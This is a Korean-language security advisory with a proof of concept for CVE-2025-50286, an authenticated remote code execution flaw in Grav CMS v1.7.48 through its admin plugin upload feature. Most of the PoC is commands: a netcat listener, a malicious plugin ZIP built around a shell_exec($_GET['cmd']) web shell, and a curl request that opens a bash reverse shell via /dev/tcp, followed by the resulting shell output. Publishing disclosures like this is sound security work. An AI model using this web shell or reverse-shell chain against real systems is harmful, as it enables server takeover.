Grav CMS v1.7.48 / Admin Plugin v1.10.48 - 인증된 플러그인 업로드를 통한 RCE (CVE-2025-50286)

Grav CMS v1.7.48 및 Admin Plugin v1.10.48은 '직접 설치(Direct Install)' 플러그인 업로드 기능을 통해 **원격 코드 실행(RCE)**에 취약하여, 인증된 관리자가 서버에서 임의의 PHP 코드를 실행할 수 있습니다.

CVE ID

CVE-2025-50286

요약

• 유형: 인증된 원격 코드 실행 (RCE)
• 위치: /admin/tools/direct-install (관리자 패널 > 도구 > 직접 설치)
• 영향: 임의의 PHP 코드 실행 및 잠재적인 전체 시스템 침해
• 인증 필요: 예 (관리자 접근)
• 영향받는 버전: Grav CMS v1.7.48 / Admin Plugin v1.10.48

개념 증명

1. 리스너 준비:

   root@kitploit:~

   nc -lvnp 4444
   

2. Grav 관리자 패널에 관리자로 로그인합니다.

3. Tools > Direct Install로 이동합니다.

4. 다음과 같이 구성된 악성 플러그인 ZIP (evilplugin.zip)을 업로드합니다:

   root@kitploit:~

   evilplugin/
   ├── evilplugin.php         ← contains: shell_exec($_GET['cmd'])
   └── blueprints.yaml        ← minimal blueprint to pass validation
   

5. 리버스 셸 트리거:

   root@kitploit:~

   curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
   

6. 리버스 셸 수신:

   root@kitploit:~

   $ nc -lvnp 4444
   Listening on 0.0.0.0 4444
   Connection received on <target-ip>
   www-data@target:/var/www/html$ whoami
   www-data
   

영향받는 구성 요소

• 엔드포인트: /admin/tools/direct-install
• 기능: 검증 없는 플러그인 업로드 및 자동 로드

테스트 환경

• Debian 11
• Apache2 + PHP 7.4
• Grav CMS v1.7.48 (with Admin Plugin v1.10.48)

발견자

@binneko

참고 자료

• Grav CMS GitHub
• CVE Record - CVE-2025-50286

면책 조항

교육 및 방어 목적으로만 사용하십시오.